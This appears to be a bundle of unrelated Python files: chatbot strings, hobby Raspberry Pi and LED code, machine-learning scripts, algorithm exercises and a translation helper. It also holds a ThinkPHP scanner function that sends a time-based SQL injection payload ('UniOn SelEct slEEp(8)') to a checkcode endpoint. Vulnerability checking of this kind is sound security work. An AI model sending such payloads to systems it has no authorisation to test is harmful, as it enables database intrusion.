message_start = ''' {}, это бот для учета твоих затрат для начала введи название валюты в которой ты будешь ввести учет ''' message_set_valute = ''' {}, вы ввели валюту {} теперь в ней будут вестись все ваши финансы ''' message_unknown_command = ''' {}, я не понял что делать ?! ''' message_category = ''' {}, вы перешли в раздел трат * {} * введите сколько вышла трата: ''' message_set_comment = ''' {}, введите комментарий к этим затратам ''' message_good_expenses = ''' {}, вы успешно внесли затраты ''' message_unknown_error_diagram = ''' {}, извините возникла неизвестная ошибка при построении диаграмы ''' message_type_error = ''' {}, вы ввели не число это не может быть стоимость покупки ''' message_get_statistic = ''' выберите период за который хотите получить отчет ''' message_help = ''' {}, для записи затрат ты можешь одну из следующих категорий: 🍲 - продукты 🎓 - образование 💈 - уход за собой 🎪 - развлечения ⚽ - спорт 💊 - здоровье 🍴 - кафе/ресторан 🚃 - транспорт 👕 - одежда 🌴 - отдых 🏠 - дом 🎁 - подарки для получения статистики трат за текущий месяц нажми 📊 с жалобами и предложениями обращайся к @Shchusia '''
import sqlite3 import argparse import sys import hashlib if __name__ == "__main__": parser = argparse.ArgumentParser(description="Copy tables from existing SQLite3 databases into a new one. Accepting '<database_filename> <table_name>' pairs as line-seperated from stdin") parser.add_argument("-o", "--output", required=True, help="Output SQLite3 database filename") args = parser.parse_args(sys.argv[1:]) databases = dict() conn = sqlite3.connect(args.output) conn.execute('''CREATE TABLE metadata (table_name TEXT PRIMARY KEY, data BLOB);''') for line in sys.stdin: database, table = line.rstrip().split() if database not in databases: name = "t%s" % (hashlib.sha1(database.encode("utf-8")).hexdigest()[:8]) databases[database] = name conn.execute('''ATTACH DATABASE "{}" AS "{}";'''.format(database, name)) # Copy table conn.execute('''CREATE TABLE {0} AS SELECT * FROM "{1}"."{0}";'''.format(table, databases[database])) # Copy metadata d = conn.execute(''' SELECT data FROM "{0}".metadata WHERE id = (SELECT metadata_id FROM "{0}".datafiles WHERE table_name = '{1}'); '''.format(databases[database], table)).fetchone()[0] conn.execute('''INSERT INTO metadata (table_name, data) VALUES(?, ?)''', (table, d)) conn.commit() conn.close()
from .sym import S, E class TreeWalk: def __init__(self, rules): self.rules = rules def __call__(self, expr, data=None): for is_match, replace in self.rules: if not is_match(expr): continue return replace(expr, self, data) return expr class TypedTreeWalk(TreeWalk): # Walk a nested data structure, with operation at each node determined by its type def __init__(self, rules): def get_type_checker(t): return lambda obj: isinstance(obj, t) self.rules = [(get_type_checker(t), op) for t, op in rules] # pack & unpack are used to pretend that every collection is a dict, # so we can just code for dict and then re-use that for everything else unpack = { #E: lambda e: e.unpack(), dict: lambda d: d, list: lambda l: {i: l[i] for i in range(len(l))}, #Dict: lambda d: d._value, #List: lambda l: {i: l._value[i] for i in range(len(l._value))} } pack = { #E: lambda e: E.pack(**e), dict: lambda d: d, # Always wrap dicts and lists, if they're not wrapped already list: lambda l: [l[i] for i in range(len(l))], #Dict: lambda d: Dict(d), #List: lambda l: List([l[i] for i in range(len(l))]) } def get_bind_collection(tp): def bind_collection(coll, walk, data): '''Walk all elements of collection; mainly used for rebinding symbols within collections''' d = unpack[tp](coll) result = {k: walk(d[k], data) for k in d} return pack[tp](result) return bind_collection # Most TreeWalks use the same collection rules collection_rules = [(tp, get_bind_collection(tp)) for tp in unpack]
from firebase import firebase import json import numpy as np data = json.load(open("data.json"))['data'] cols = [] lbls = [] labelsValues = [ "red-ish", "green-ish", "blue-ish", "orange-ish", "yellow-ish", "pink-ish", "purple-ish", "brown-ish", "grey-ish" ] for submission in data: color = [] color.append(submission["r"] / 255) color.append(submission["g"] / 255) color.append(submission["b"] / 255) cols.append(color) lbls.append(labelsValues.index(submission["label"])) colors = np.array(cols, dtype=np.float32) labels = np.array(lbls, dtype=np.int32) np.savez_compressed("processedData", colors = colors, labels = labels)
import math import pandas as pd import numpy as np import matplotlib.pyplot as plt # LSTM for sequence classification in the fall dataset from keras.models import Sequential from keras.layers import Dense from keras.layers import LSTM from keras.layers import Dropout from keras.preprocessing import sequence from sklearn.model_selection import train_test_split from sklearn.metrics import confusion_matrix from sklearn.metrics import precision_recall_curve from sklearn.metrics import average_precision_score from sklearn.metrics import f1_score def plot_confusion_matrix(conf_arr,title='Confusion matrix'): norm_conf = [] for i in conf_arr: a = 0 tmp_arr = [] a = sum(i, 0) for j in i: tmp_arr.append(float(j)/float(a)) norm_conf.append(tmp_arr) fig = plt.figure() plt.clf() plt.title(title) ax = fig.add_subplot(111) ax.set_aspect(1) res = ax.imshow(np.array(norm_conf), cmap=plt.cm.jet, interpolation='nearest') width, height = conf_arr.shape for x in range(width): for y in range(height): ax.annotate(str(conf_arr[x][y]), xy=(y, x), horizontalalignment='center', verticalalignment='center') cb = fig.colorbar(res) alphabet = ["Fall", "Non Fall"] plt.xticks(range(width), alphabet[:width]) plt.yticks(range(height), alphabet[:height]) plt.savefig('confusion_matrix.png', format='png') #falls = df[df['isFall']==1] # fix random seed for reproducibility np.random.seed(7) train_file = 'Joon_wrist.csv' test_file = 'Boyu_wrist.csv' train_waistfile = 'Joon_waist.csv' test_waistfile = 'Boyu_waist.csv' #cols = train_df.columns.values.tolist() cols = ['max_x','max_y','max_z','min_x','min_y','min_z','mean_x','mean_y','mean_z','var_x','var_y','var_z'] input_dim = 12 output_dim = 1 memory_units = 100 batch_size = 1 epochs = 10 train_df = pd.read_csv(train_file,index_col=0) y_train = train_df['isFall'] #X_train = train_df.drop(['isFall'],axis=1) X_train = train_df[cols] train_waist_df = pd.read_csv(train_waistfile,index_col=0) y_waist_train = train_waist_df['isFall'] X_waist_train = train_waist_df[cols] y_train = pd.concat([y_train,y_waist_train]) X_train = pd.concat([X_train,X_waist_train]) test_df = pd.read_csv(test_file,index_col=0) y_test = test_df['isFall'] X_test = test_df[cols] test_waist_df = pd.read_csv(test_waistfile,index_col=0) y_waist_test = test_waist_df['isFall'] X_waist_test = test_waist_df[cols] y_train = pd.concat([y_test,y_waist_test]) X_train = pd.concat([X_test,X_waist_test]) X_train= np.reshape(X_train.as_matrix(),(X_train.shape[0],X_train.shape[1],1)) X_test= np.reshape(X_test.as_matrix(),(X_test.shape[0],X_test.shape[1],1)) model = Sequential() model.add(LSTM(memory_units, batch_input_shape=(batch_size, input_dim, 1), stateful=True, dropout=0.5, recurrent_dropout=0.5)) model.add(Dense(64, activation='relu')) model.add(Dense(1, activation='sigmoid')) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) print(model.summary()) lstm = model.fit(X_train, y_train, epochs=epochs, batch_size=batch_size) scores = model.evaluate(X_test, y_test, batch_size=batch_size) pred = model.predict_classes(X_test, batch_size=1) conf_mat = confusion_matrix(y_test, pred) print(conf_mat) accuracy = (scores[1]*100) precision, recall, _ = precision_recall_curve(y_test, pred) average_precision = average_precision_score(y_test, pred) f1_score = f1_score(y_test, pred, average='weighted') print("Accuracy: %.2f%%" % accuracy) print("precision = ", precision, len(precision)) print("recall = ", recall,len(recall)) print("average_precision = ",average_precision) print("f1_score = ",f1_score) plot_confusion_matrix(conf_mat,"Waist data Confusion matrix") plt.show() #print(classes) # plot metrics #plt.plot(lstm.history['acc']) #plt.show()
import RPi.GPIO as GPIO from mfrc522 import MFRC522 from threading import Thread from time import sleep, monotonic, time class DeviceMFRC522: READER = None KEY = [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF] BLOCK_ADDRS = [8, 9, 10] def __init__(self, id): self.READER = MFRC522(device=id) def read(self): id, text = self.read_no_block() while not id: id, text = self.read_no_block() return id, text def read_id(self): id = self.read_id_no_block() while not id: id = self.read_id_no_block() sleep(1) return id def read_id_no_block(self): (status, TagType) = self.READER.MFRC522_Request(self.READER.PICC_REQIDL) if status != self.READER.MI_OK: return None (status, uid) = self.READER.MFRC522_Anticoll() if status != self.READER.MI_OK: return None return self.uid_to_num(uid) def read_no_block(self): (status, TagType) = self.READER.MFRC522_Request(self.READER.PICC_REQIDL) if status != self.READER.MI_OK: return None, None (status, uid) = self.READER.MFRC522_Anticoll() if status != self.READER.MI_OK: return None, None id = self.uid_to_num(uid) self.READER.MFRC522_SelectTag(uid) status = self.READER.MFRC522_Auth(self.READER.PICC_AUTHENT1A, 11, self.KEY, uid) data = [] text_read = '' if status == self.READER.MI_OK: for block_num in self.BLOCK_ADDRS: block = self.READER.MFRC522_Read(block_num) if block: data += block if data: text_read = ''.join(chr(i) for i in data) self.READER.MFRC522_StopCrypto1() return id, text_read def write(self, text): id, text_in = self.write_no_block(text) while not id: id, text_in = self.write_no_block(text) return id, text_in def write_no_block(self, text): (status, TagType) = self.READER.MFRC522_Request(self.READER.PICC_REQIDL) if status != self.READER.MI_OK: return None, None (status, uid) = self.READER.MFRC522_Anticoll() if status != self.READER.MI_OK: return None, None id = self.uid_to_num(uid) self.READER.MFRC522_SelectTag(uid) status = self.READER.MFRC522_Auth(self.READER.PICC_AUTHENT1A, 11, self.KEY, uid) self.READER.MFRC522_Read(11) if status == self.READER.MI_OK: data = bytearray() data.extend(bytearray(text.ljust(len(self.BLOCK_ADDRS) * 16).encode('ascii'))) i = 0 for block_num in self.BLOCK_ADDRS: self.READER.MFRC522_Write(block_num, data[(i*16):(i+1)*16]) i += 1 self.READER.MFRC522_StopCrypto1() return id, text[0:(len(self.BLOCK_ADDRS) * 16)] def uid_to_num(self, uid): n = 0 for i in range(0, 5): n = n * 256 + uid[i] return n class RFID(object): def __init__(self, id, onId): print("RFID - BOOTING") self.reader = DeviceMFRC522(id) self.onId = onId self.lastId = 0 id = self.reader.read_id_no_block() print("RFID - SETTING ID: " + str(id)) self.onId(id) self.start() def loop(self): try: lasttime = time() while True: if time() - lasttime > (60 * 3): self.lastId = 0 id = self.reader.read_id_no_block() if id != self.lastId and not id is None: print("RFID - UPDATING ID: " + str(id)) self.lastId = id self.onId(id) lasttime = time() sleep(5) finally: GPIO.cleanup() def start(self): self.t = Thread(target = self.loop) self.t.start()
#!/usr/bin/env python # coding=utf-8 import time import urllib import requests def thinkphp_checkcode_time_sqli_verify(url): pocdict = { "vulnname":"thinkphp_checkcode_time_sqli", "isvul": False, "vulnurl":"", "payload":"", "proof":"", "response":"", "exception":"", } headers = { "User-Agent" : "TPscan", "DNT": "1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Content-Type": "multipart/form-data; boundary=--------641902708", "Accept-Encoding": "gzip, deflate, sdch", "Accept-Language": "zh-CN,zh;q=0.8", } payload = "----------641902708\r\nContent-Disposition: form-data; name=\"couponid\"\r\n\r\n1')UniOn SelEct slEEp(8)#\r\n\r\n----------641902708--" try: start_time = time.time() vurl = urllib.parse.urljoin(url, 'index.php?s=/home/user/checkcode/') req = requests.post(vurl, data=payload, headers=headers, timeout=15, verify=False) if time.time() - start_time >= 8: pocdict['isvul'] = True pocdict['vulnurl'] = vurl pocdict['payload'] = payload pocdict['proof'] = 'time sleep 8' pocdict['response'] = req.text print(pocdict) except: pass
from turtle import * shape ("turtle") speed(-1) pensize(4) color('DarkOliveGreen2') goc_nhon = 55 #int(input("Dien goc nhon cua hinh thoi vao day: ")) goc_tu = 180 - goc_nhon goc_quay = (180-2*goc_nhon)/2 left(goc_nhon/2) for i in range(4): forward(100) right(goc_nhon) forward(100) right(goc_tu) forward(100) right(goc_nhon) forward(100) right(goc_quay) mainloop()
""" Given an array of integers, find the first missing positive integer in linear time and constant space. In other words, find the lowest positive integer that does not exist in the array. The array can contain duplicates and negative numbers as well. For example, the input [3, 4, -1, 1] should give 2. The input [1, 2, 0] should give 3. You can modify the input array in-place. """ def min_pos_number(numbers): min = None for val in numbers: if val > 0 and (min is None or val < min): min = val return min def missing_pos_int(numbers): min = min_pos_number(numbers) offset = -min i = 0 # for i, val in enumerate(numbers): while i < len(numbers): # print(numbers) j = numbers[i] + offset if i == j: i += 1 continue # number too large (many blanks between previous number) # new index j is beyond the size of the list # [3 60 4 -1 3 1] # [3 XX 4 -1 3 1] if j > len(numbers): numbers[i] = None i += 1 continue # negatives # [3 60 4 -1 3 1] # [3 60 4 X 3 1] if numbers[i] < 0: numbers[i] = None i += 1 continue # duplicates # [3 60 4 -1 3 1] # [3 60 4 -1 3 1] if numbers[i] == numbers[j]: numbers[i] = None i += 1 continue numbers[i], numbers[j] = numbers[j], numbers[i] # we swapped in a valid value # [3 60 4 -1 3 1] # [4 60 3 -1 3 1] if numbers[i] != None: continue i += 1 # print(numbers) i = 1 while i < len(numbers): if numbers[i] is None: # return i + min + 1 return numbers[i-1]+1 i += 1 else: return numbers[-1]+1 def test(): assert missing_pos_int([3, 4, -1, 1]) == 2 assert missing_pos_int([1, 2, 0]) == 3 def main(): numbers = list(map(int, input().strip().split())) print(missing_pos_int(numbers)) if __name__ == "__main__": main()
from typing import List class Solution: def solve(self, board: List[List[str]]) -> None: """ Do not return anything, modify board in-place instead. """ m = len(board) n = len(board[0]) visit = [[False] * n for _ in range(m)] def dfs(board,y,x): dirs = [(0, -1), (0, 1), (-1, 0), (1, 0)] # up, down, left, right #print(x,y) if not visit[y][x]: board[y][x] = 'T' visit[y][x] = True else: return for dx,dy in dirs: nx = x + dx ny = y + dy if (1 <= nx < n - 1 and 1 <= ny < m - 1) and board[ny][nx] == 'O': if not visit[ny][nx]: dfs(board,ny,nx) return # find 'O' in outlying for i in range(m): for j in range(n): if not (1 <= j < n - 1 and 1 <= i < m - 1) and board[i][j] == 'O': print(i,j) dfs(board, i, j) else: continue for i in range(m): for j in range(n): if board[i][j] == 'T': board[i][j] = 'O' elif board[i][j] == 'O': board[i][j] = 'X' board = [["X","X","X","X"], ["X","O","O","X"], ["X","X","O","X"], ["X","O","X","X"]] Solution().solve(board) ''' 모범 코드 def solve(self, board: List[List[str]]) -> None: """ Do not return anything, modify board in-place instead. """ # do search on border values and mark grouped number islands to border # set all unmarked to x # not thread safe for row in range(len(board)): if board[row][0] == "O": self.dfs(board, row, 0) if board[row][-1] == "O": self.dfs(board, row, len(board[0])-1) for col in range(len(board[0])): if board[0][col] == "O": self.dfs(board, 0, col) if board[-1][col] == "O": self.dfs(board, len(board)-1, col) for row in range(len(board)): for col in range(len(board[0])): if board[row][col] == '#': board[row][col] = 'O' else: board[row][col] = 'X' def dfs(self, board, row, col): checks = ((0,1), (0,-1), (1,0), (-1,0)) board[row][col] = '#' for r, c in checks: newr = row+r newc = col+c if newr >= 0 and newr < len(board) and newc >= 0 and newc < len(board[0]): if board[newr][newc] == 'O': self.dfs(board, newr, newc) '''
import streamlit as st import pickle import joblib import bz2 import _pickle as cPickle from sklearn.ensemble import RandomForestClassifier import pandas as pd # Instantiate the model X_train_df = pickle.load(open('X_train_df.pkl', 'rb')) y_train_df = pickle.load(open('y_train_df.pkl', 'rb')) rf_clf = pickle.load(open('rf_model.pkl','rb')) st.title('Credit Card Default Predictor') bal = st.number_input(' Enter LIMIT_BAL: Amount of given credit in NT dollars (includes individual and family/supplementary credit)') sex = st.number_input('Enter SEX: Gender (1=male, 2=female)') education = st.number_input('EDUCATION: (1=graduate school, 2=university, 3=high school, 4=others, 5=unknown, 6=unknown') married = st.number_input('MARRIAGE: Marital status (1=married, 2=single, 3=others') age = st.number_input('AGE: Age in years') pay1 = st.number_input('PAY_0: Repayment status in September, 2005 (-1=pay duly, 1=payment delay for one month, 2=payment delay for two months, … 8=payment delay for eight months, 9=payment delay for nine months and above)') # • PAY_2: Repayment status in August, 2005 (scale same as above) # • PAY_3: Repayment status in July, 2005 (scale same as above) # • PAY_4: Repayment status in June, 2005 (scale same as above) # • PAY_5: Repayment status in May, 2005 (scale same as above) # • PAY_6: Repayment status in April, 2005 (scale same as above) pay2 = pay3 = pay4 = pay5 = pay6 = -1 bill_amt1 = st.number_input('BILL_AMT1: Amount of bill statement in September, 2005 (NT dollar)') # • BILL_AMT2: Amount of bill statement in August, 2005 (NT dollar) # • BILL_AMT3: Amount of bill statement in July, 2005 (NT dollar) # • BILL_AMT4: Amount of bill statement in June, 2005 (NT dollar) # • BILL_AMT5: Amount of bill statement in May, 2005 (NT dollar) # • BILL_AMT6: Amount of bill statement in April, 2005 (NT dollar) bill_amt2 = bill_amt3 = bill_amt4 = bill_amt5 =bill_amt6 = 0 pay_amt1 = st.number_input('PAY_AMT1: Amount of previous payment in September, 2005 (NT dollar)') # • PAY_AMT2: Amount of previous payment in August, 2005 (NT dollar) # • PAY_AMT3: Amount of previous payment in July, 2005 (NT dollar) # • PAY_AMT4: Amount of previous payment in June, 2005 (NT dollar) # • PAY_AMT5: Amount of previous payment in May, 2005 (NT dollar) # • PAY_AMT6: Amount of previous payment in April, 2005 (NT dollar) pay_amt2 = pay_amt3 = pay_amt4 = pay_amt5 = pay_amt6 = 0 # • default.payment.next.month: Default payment (1=yes, 0=no) model = rf_clf.fit(X_train_df , y_train_df) y_pred = model.predict([[bal , sex , education , married , age , pay1 , pay2 , pay3 , pay4 , pay5 , pay6 , bill_amt1 , bill_amt2 , bill_amt3 , bill_amt4 , bill_amt5 , \ bill_amt6 , pay_amt1 , pay_amt2 , pay_amt3 , pay_amt4 , pay_amt5 , pay_amt6]]) if st.button('predict'): if y_pred == 1: st.header('Defaulter') elif y_pred == 0: st.header('Non-Defaulter')
# ROBOT CAR PROJECT # WRITEN BY: Lucas Everts # WRITEN FOR: WMU Raspberry Pi Clubs Fall 2015 Sumo Robot Compitition # LAST EDITED: August 21, 2015 # DESCRIPTION: # The following Python code was writen for a sumo compition robot. The robot is powered by a Raspberry Pi B+, two L298N H-Bridges, # and four 18650 3.7V batteries. The motors are hobby level high torque DC motors. print("Beginning of program, wait for initialization....") # imports import time import RPi.GPIO as GPIO import pygame from pygame.locals import * #initializing pygame. NOTE: the display.set_mode((400,400)) is setting the size of the display in pixels. pygame.init() screen = pygame.display.set_mode((400,400)) print("Imports Completed.") GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) # GPIO Pin Setup GPIO.setup(7,GPIO.OUT) GPIO.setup(8,GPIO.OUT) GPIO.setup(23,GPIO.OUT) GPIO.setup(24,GPIO.OUT) GPIO.setup(12,GPIO.OUT) GPIO.setup(16,GPIO.OUT) GPIO.setup(20,GPIO.OUT) GPIO.setup(21,GPIO.OUT) GPIO.setup(5,GPIO.OUT) GPIO.setup(6,GPIO.OUT) GPIO.setup(26,GPIO.OUT) # Setting all Pins to LOW and Pin Assignments GPIO.output(5,0) # left motor control 1 GPIO.output(6,0) # left motor control 2 GPIO.output(7,0) # right motor control 1 GPIO.output(8,0) # right motor control 2 GPIO.output(23,0) # lift motor control 1 GPIO.output(24,0) # lift motor control 2 GPIO.output(12,0) # top correction control 1 GPIO.output(16,0) # top correction control 2 GPIO.output(20,0) # side correction control 1 GPIO.output(21,0) # side correction control 2 GPIO.output(26,1) # Program ON/OFF LED's end = 0 print("Begin to enter directions: ") # Main Loop while(end == 0): for event in pygame.event.get(): if event.type == KEYDOWN: if event.key == K_w: # K_w signifies that the key was from the keyboard print("'w' was pressed, going straight.") GPIO.output(5,1) # output configuration for going straight GPIO.output(6,0) # outputs 5,6 control left motor GPIO.output(7,1) # outputs 7,8 control right motor GPIO.output(8,0) pressedKey = 'w' pygame.event.pump() # pygame.pump() removes the event flag/only runs keydown once if event.key == K_a: print("'a' was pressed, turning left.") GPIO.output(5,0) GPIO.output(6,1) GPIO.output(7,1) GPIO.output(8,0) pressedKey = 'a' pygame.event.pump() if event.key == K_d: print("'d' was pressed, turning right.") GPIO.output(5,1) GPIO.output(6,0) GPIO.output(7,0) GPIO.output(8,1) pressedKey = 'd' pygame.event.pump() if event.key == K_s: print("'s' was pressed, going backwards.") GPIO.output(5,0) GPIO.output(6,1) GPIO.output(7,0) GPIO.output(8,1) pressedKey = 's' pygame.event.pump() if event.key == K_y: print("'y' was pressed, correction motors going out.") GPIO.output(5,0) GPIO.output(6,0) GPIO.output(7,0) GPIO.output(8,0) pressedKey = 'y' pygame.event.pump() if event.key == K_h: print("'h' was pressed, correction motors coming in.") GPIO.output(5,0) GPIO.output(6,0) GPIO.output(7,0) GPIO.output(8,0) pressedKey = 'h' pygame.event.pump() if event.key == K_k: end = 1 print("'k' was pressed, the program will end.") if event.key == K_l: end = 1 print("'l' was pressed, the program will end.") if event.key == K_i: end = 1 print("'i' was pressed, the program will end.") if event.type == KEYUP: print(pressedKey + " key was released") GPIO.output(7,0) GPIO.output(8,0) GPIO.output(23,0) GPIO.output(24,0) GPIO.output(12,0) GPIO.output(16,0) GPIO.output(20,0) GPIO.output(21,0) GPIO.output(5,0) GPIO.output(6,0) pygame.event.pump() GPIO.output(7,0) GPIO.output(8,0) GPIO.output(23,0) GPIO.output(24,0) GPIO.output(12,0) GPIO.output(16,0) GPIO.output(20,0) GPIO.output(21,0) GPIO.output(5,0) GPIO.output(6,0) GPIO.output(26,0) GPIO.cleanup() print("THIS IS THE END OF THE PROGRAM!")
def box2frame(box, apoint=[0.5, 0.5]): ''' Convert [y1, x1, y2, x2] to [x, y, w, h] ''' return [ (box[1] + apoint[1]*(box[3]-box[1])), (box[0] + apoint[0]*(box[2]-box[0])), (box[3] - box[1]), (box[2] - box[0]) ]
# File to run GUI menu before live plotting and provide a front end to the user # Author: Daniel Williams # Date Created: 9/15/2021 9:26PM import os import matplotlib.pyplot as plt import PySimpleGUI as sg import plot_loc as pl def run_gui(): """Creates a simple gui prior to plotting to allow user to select file to plot.""" # layout for the pysimplegui buttons and file explorer layout = [ [ sg.In("test.txt"), sg.FileBrowse(file_types=(("Text Files", "*.txt"),)), ], [sg.Button("Plot"), sg.Cancel()], ] # creates gui window window = sg.Window("GPS Location", layout) # infinite while loop to last for the duration of the open gui while True: # storing the user input in the gui as event and values variables event, values = window.read() # breaks out of while loop if cancel is selected if event in (sg.WIN_CLOSED, "Cancel"): break # runs the liveplot UDF when plot button is selected based on the file selected in the file browser elif event == "Plot": # strip off path front end to trim and just get filename filename = os.path.basename(values[0]) # print filename used to terminal print("File selected: " + filename) # run live plot UDF pl.live_plot(filename) # closes gui window window.close()
import math from rpi_ws281x import PixelStrip, Color import sys import time from config import * LED_COUNT = get_led_count() LED_PIN = 18 # GPIO pin connected to the pixels (18 uses PWM!). LED_FREQ_HZ = 800000 # LED signal frequency in hertz (usually 800khz) LED_DMA = 10 # DMA channel to use for generating signal (try 10) LED_BRIGHTNESS = 255 # Set to 0 for darkest and 255 for brightest LED_INVERT = False # True to invert the signal (when using NPN transistor level shift) LED_CHANNEL = 0 # set to '1' for GPIOs 13, 19, 41, 45 or 53 strip = PixelStrip(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS, LED_CHANNEL) strip.begin() def arrangement(p, x): if x == 'wipeGreen': colorWipe(p, Color(255, 0, 0), 10) elif x == 'wipeRed': colorWipe(p, Color(0, 255, 0), 10) elif x == 'wipeBlue': colorWipe(p, Color(0, 0, 255), 10) elif x == 'wipeWhite': colorWipe(p, Color(127, 127, 127), 10) elif x == 'white': colorInstant(p, Color(127, 127, 127)) elif x == 'red': colorInstant(p, Color(0, 255, 0)) elif x == 'blue': colorInstant(p, Color(0, 0, 255)) elif x == 'green': colorInstant(p, Color(255, 0, 0)) elif x == 'chaseWhite': theaterChase(p, Color(127, 127, 127)) elif x == 'chaseGreen': theaterChase(p, Color(127, 0, 0)) elif x == 'chaseBlue': theaterChase(p, Color(0, 0, 127)) elif x == 'christmas1': theater_chase_multi_color(p, Color(255, 0, 0), Color(0, 255, 0), 1000, 10000) elif x == 'twilight': twilight_cycle(p) elif x == 'rainbow': rainbow(p) elif x == 'rainbowCycle': rainbowCycle(p) elif x == 'wipe': colorWipe(p, Color(0, 0, 0), 10) elif x == 'clear': colorInstant(p, Color(0, 0, 0)) else: print("No option selected...") def colorInstant(strip, color): for i in range(strip.numPixels()): strip.setPixelColor(i, color) strip.show() def colorWipe(strip, color, wait_ms=50): """Wipe color across display a pixel at a time.""" for i in range(strip.numPixels()): strip.setPixelColor(i, color) strip.show() time.sleep(wait_ms / 1000.0) def theaterChase(strip, color, wait_ms=50, iterations=100): """Movie theater light style chaser animation.""" for j in range(iterations): for q in range(3): for i in range(0, strip.numPixels(), 3): strip.setPixelColor(i + q, color) strip.show() time.sleep(wait_ms / 1000.0) for i in range(0, strip.numPixels(), 3): strip.setPixelColor(i + q, 0) def theater_chase_multi_color(strip, color1, color2, wait_ms=50, iterations=100, gap=4): """ Create two groups of LEDs sized @gap, colored @color1 and @color2, iterating @iterations number of times, with a speed of @wait_ms between cycles. """ color_switch = True color_switch_counter = 0 for j in range(iterations): for q in range((gap-1)*2): for i in range(0, strip.numPixels()): if color_switch: strip.setPixelColor(i + q, color1) else: strip.setPixelColor(i + q, color2) color_switch_counter += 1 if color_switch_counter > gap-1: color_switch = not color_switch color_switch_counter = 0 strip.show() time.sleep(wait_ms / 1000.0) def wheel(pos): """Generate rainbow colors across 0-255 positions.""" if pos < 85: return Color(pos * 3, 255 - pos * 3, 0) elif pos < 170: pos -= 85 return Color(255 - pos * 3, 0, pos * 3) else: pos -= 170 return Color(0, pos * 3, 255 - pos * 3) def twilight_wheel(pos): """ pink = R:255 G:0 B:255 cyan = R:0 G:255 B:255 0 -> 300 at 0 red should be 255 and green 0 at 150 red should be 0 and green 0 at 300 red should be 0 and green 255 f(x) = x/255 f( """ temp = 1.0 / 48.0 add_val = 150 if pos > 149: add_val = 0 sin_pos = math.sin(temp * (pos + add_val)) cos_pos = math.sin(2 * temp * (pos + add_val)) r = int(sin_pos * 255) if r < 0: r = 0 g = int(cos_pos * 255) if g < 0: g = 0 b = 255 color = Color(r, g, b) return color def twilight_wheel2(pos): if pos <= 85: return Color(pos , 255 - pos * 3, 255) elif pos <= 170: pos -= 85 return Color(255 - pos * 3, 0, 255) else: pos -= 170 return Color(0, pos * 3, 255) def rainbow(strip, wait_ms=20, iterations=10000): """Draw rainbow that fades across all pixels at once.""" for j in range(256 * iterations): for i in range(strip.numPixels()): strip.setPixelColor(i, wheel((i + j) & 255)) strip.show() time.sleep(wait_ms / 1000.0) def twilight(strip): for i in range(strip.numPixels()): strip.setPixelColor(i, twilight_wheel(i)) strip.show() def twilight_cycle(strip, wait_ms=20, iterations=10000): """Shades of blue through violet blended together in a continuous wave""" pixel_colors_by_position = [] position_math = [] print("front-load position calculations") for i in range(strip.numPixels()): position_math.append(int(i * 256 / strip.numPixels())) print("front-load color calculations") for j in range(256): temp_array = [] for i in range(strip.numPixels()): temp_array.append(twilight_wheel2((position_math[i] + j) & 255)) pixel_colors_by_position.append(temp_array) print("beginning color execution") for j in range(256 * iterations): j_pos = int(j % 256) for i in range(strip.numPixels()): # Gain significant computational efficiency by front-loading calculations strip.setPixelColor(i, pixel_colors_by_position[j_pos][i]) strip.show() time.sleep(wait_ms / 1000.0) def rainbowCycle(strip, wait_ms=20, iterations=10000): """Draw rainbow that uniformly distributes itself across all pixels.""" pixel_colors_by_position = [] position_math = [] print("front-load position calculations") for i in range(strip.numPixels()): position_math.append(int(i * 256 / strip.numPixels())) print("front-load color calculations") for j in range(256): temp_array = [] for i in range(strip.numPixels()): temp_array.append(wheel((position_math[i] + j) & 255)) pixel_colors_by_position.append(temp_array) print("beginning color execution") for j in range(256 * iterations): j_pos = int(j % 256) for i in range(strip.numPixels()): # Gain significant computational efficiency by front-loading calculations strip.setPixelColor(i, pixel_colors_by_position[j_pos][i]) strip.show() time.sleep(wait_ms / 1000.0) def theaterChaseRainbow(strip, wait_ms=50): """Rainbow movie theater light style chaser animation.""" for j in range(256): for q in range(3): for i in range(0, strip.numPixels(), 3): strip.setPixelColor(i + q, wheel((i + j) % 255)) strip.show() time.sleep(wait_ms / 1000.0) for i in range(0, strip.numPixels(), 3): strip.setPixelColor(i + q, 0) if __name__ == '__main__': print(sys.argv) if sys.argv[1] == "custom": colorInstant(strip, Color(int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4]))) else: arrangement(strip, sys.argv[1])
# coding:utf-8 import sys reload(sys) sys.setdefaultencoding('utf8') import pyttsx import re import urllib2 import random data_sel = [] data_raw = [] def mixurl(input): return 'http://fanyi.youdao.com/translate?&i=' + input + '&doctype=xml&version' def trans(input): request = urllib2.urlopen(mixurl(input)) xml = request.read() p = r'[[](.*?)[]]' pattern = re.compile(p) ans = re.search(pattern, xml) output = re.findall(pattern, xml)[1] return output[6:] def speak(input): speak_engine = pyttsx3.init() rate = speak_engine.getProperty('rate') speak_engine.setProperty('rate', rate - 50) speak_engine.say(input) speak_engine.runAndWait() speak_engine.stop() def load_raw(input): with open(input, 'r') as _DATA: for line in _DATA: if line != "": data_raw.append(" ".join(line.split())) _DATA.close() def select(heads): for ele in data_raw: if ele=='': continue if ele[0] in heads + fnn(heads): data_sel.append(ele) def printtrans(IN_list,method): if method=="a": for ele in IN_list: print ele + '\t' + trans(ele) if method=="b": IN_list.sort() for ele in IN_list: print ele + '\t' + trans(ele) def fnn(input): def fn(x): if x.islower(): return x.upper() elif x.isupper(): return x.lower() else: return x return ''.join([fn(r) for r in list(input)]) def train(times): for i in range(1, times): out = data_sel[random.randint(0, len(data_sel) - 1)] raw_input(trans(out)) raw_input(out) def countsel(): return len(data_sel) def transfile(): ans=open("word+trans.txt","w+") for ele in data_sel: ans.write(ele+" "+trans(ele)+"\n") ans.close() if __name__=="__main__": filename=raw_input("import your file name:") method=raw_input("how to translate") load_raw(filename) printtrans(data_raw,method) #select('tu') #printtrans(data_sel) #transfile() #printtrans(data_raw,method) #select('v') #printtrans(data_sel) #train(50) #speak("hello")